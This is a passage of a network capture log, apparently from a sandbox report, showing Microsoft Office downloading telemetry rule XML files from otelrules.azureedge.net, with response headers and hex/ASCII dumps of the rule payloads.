2024-11-30 08:45:29 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 08:45:29 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: e0e90f6b-301e-000c-3eb2-42323f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T084529Z-174f7845968j6t2phC1EWRcfe800000011b0000000004vxb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 08:45:29 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.4	49841	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 08:45:30 UTC	192	OUT	GET /rules/rule120674v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 08:45:31 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 08:45:31 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA4037B0D" x-ms-request-id: f4d7e30f-e01e-0020-0ff3-41de90000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T084531Z-174f7845968px8v7hC1EWR08ng00000011e0000000006f52 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 08:45:31 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120674" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.4	49843	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 08:45:31 UTC	192	OUT	GET /rules/rule120675v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 08:45:31 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 08:45:31 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6CF78C8" x-ms-request-id: 4f79ec39-601e-0070-0891-3fa0c9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T084531Z-174f7845968xr5c2hC1EWRd0hn0000000hzg0000000077m2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 08:45:31 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 55 75 5d 5b 50 70 5d 5b 43 63 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 55 75 5d 5b 44 64 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120675" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <SR T="2" R="([Uu][Pp][Cc][Ll][Oo][Uu][Dd])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.4	49844	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 08:45:31 UTC	192	OUT	GET /rules/rule120676v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 08:45:31 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 08:45:31 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B984BF177" x-ms-request-id: 1cfa5ca7-601e-000d-64b2-422618000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T084531Z-174f7845968cpnpfhC1EWR3afc00000010v0000000003dud x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 08:45:31 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120676" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.4	49847	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 08:45:31 UTC	192	OUT	GET /rules/rule120678v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 08:45:31 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 08:45:31 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA642BF4" x-ms-request-id: 1a9a61cd-601e-0070-6771-40a0c9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T084531Z-174f78459684bddphC1EWRbht40000001100000000001k0q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 08:45:31 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120678" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.4	49845	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 08:45:31 UTC	192	OUT	GET /rules/rule120677v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 08:45:31 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 08:45:31 GMT Content-Type: text/xml Content-Length: 405 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:37 GMT ETag: "0x8DC582B942B6AFF" x-ms-request-id: 64c010c7-b01e-003e-2ea1-428e41000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T084531Z-174f7845968xlwnmhC1EWR0sv80000001130000000001weu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-30 08:45:31 UTC	405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5e 5b 58 78 5d 5b 45 65 5d 5b 4e 6e 5d 24 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120677" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <SR T="2" R="(^[Xx][Ee][Nn]$)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.4	49848	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 08:45:32 UTC	192	OUT	GET /rules/rule120679v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 08:45:33 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 08:45:33 GMT Content-Type: text/xml Content-Length: 174 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91D80E15" x-ms-request-id: 10d830e7-e01e-0020-2d2d-41de90000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T084533Z-174f7845968px8v7hC1EWR08ng00000011e0000000006f72 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 08:45:33 UTC	174	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120679" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> </S> <T> <S T="1" /> </T></R>

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.4	49849	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 08:45:33 UTC	192	OUT	GET /rules/rule120680v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 08:45:33 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 08:45:33 GMT Content-Type: text/xml Content-Length: 1952 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B956B0F3D" x-ms-request-id: a6c4b37e-c01e-0049-7ab2-42ac27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T084533Z-174f7845968cpnpfhC1EWR3afc00000010t000000000691t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 08:45:33 UTC	1952	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 31 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120680" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <SS T="1" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> <R T="2" R="120682" /> <F T="3"> <O T="LT"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.4	49850	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 08:45:33 UTC	192	OUT	GET /rules/rule120681v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 08:45:33 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 08:45:33 GMT Content-Type: text/xml Content-Length: 958 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:58 GMT ETag: "0x8DC582BA0A31B3B" x-ms-request-id: 4fade03f-801e-007b-1115-41e7ab000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T084533Z-174f78459684bddphC1EWRbht400000010z0000000002sgu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 08:45:33 UTC	958	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 38 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120681" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120608" /> <R T="2" R="120680" /> <TH T="3"> <O T="AND"> <L> <O T="EQ"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.4	49852	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 08:45:33 UTC	193	OUT	GET /rules/rule120602v10s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 08:45:33 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 08:45:33 GMT Content-Type: text/xml Content-Length: 2592 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5B890DB" x-ms-request-id: 8c2ab893-e01e-0003-5391-3f0fa8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T084533Z-174f7845968zgtf6hC1EWRqd8s0000000u7g0000000014sa x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 08:45:33 UTC	2592	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 32 22 20 56 3d 22 31 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 6e 64 4c 61 6e 67 75 61 67 65 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120602" V="10" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAndLanguage" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa=

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.4	49851	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 08:45:33 UTC	192	OUT	GET /rules/rule120682v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 08:45:34 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 08:45:33 GMT Content-Type: text/xml Content-Length: 501 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:18 GMT ETag: "0x8DC582BACFDAACD" x-ms-request-id: 44e6226b-701e-0032-3b07-42a540000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T084533Z-174f7845968nxc96hC1EWRspw800000010wg000000006gpt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 08:45:34 UTC	501	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120682" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <R T="2" R="120100" /> <SS T="3" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> </S> <C T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.4	49853	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 08:45:35 UTC	192	OUT	GET /rules/rule120601v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 08:45:35 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 08:45:35 GMT Content-Type: text/xml Content-Length: 3342 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:34 GMT ETag: "0x8DC582B927E47E9" x-ms-request-id: db214257-301e-0052-7169-4065d6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T084535Z-174f7845968px8v7hC1EWR08ng00000011hg000000000qtd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 08:45:35 UTC	3342	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 4f 53 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120601" V="3" DC="SM" EN="Office.System.SystemHealthMetadataOS" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC" xmlns=""> <RI

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.4	49854	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 08:45:35 UTC	193	OUT	GET /rules/rule224901v11s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
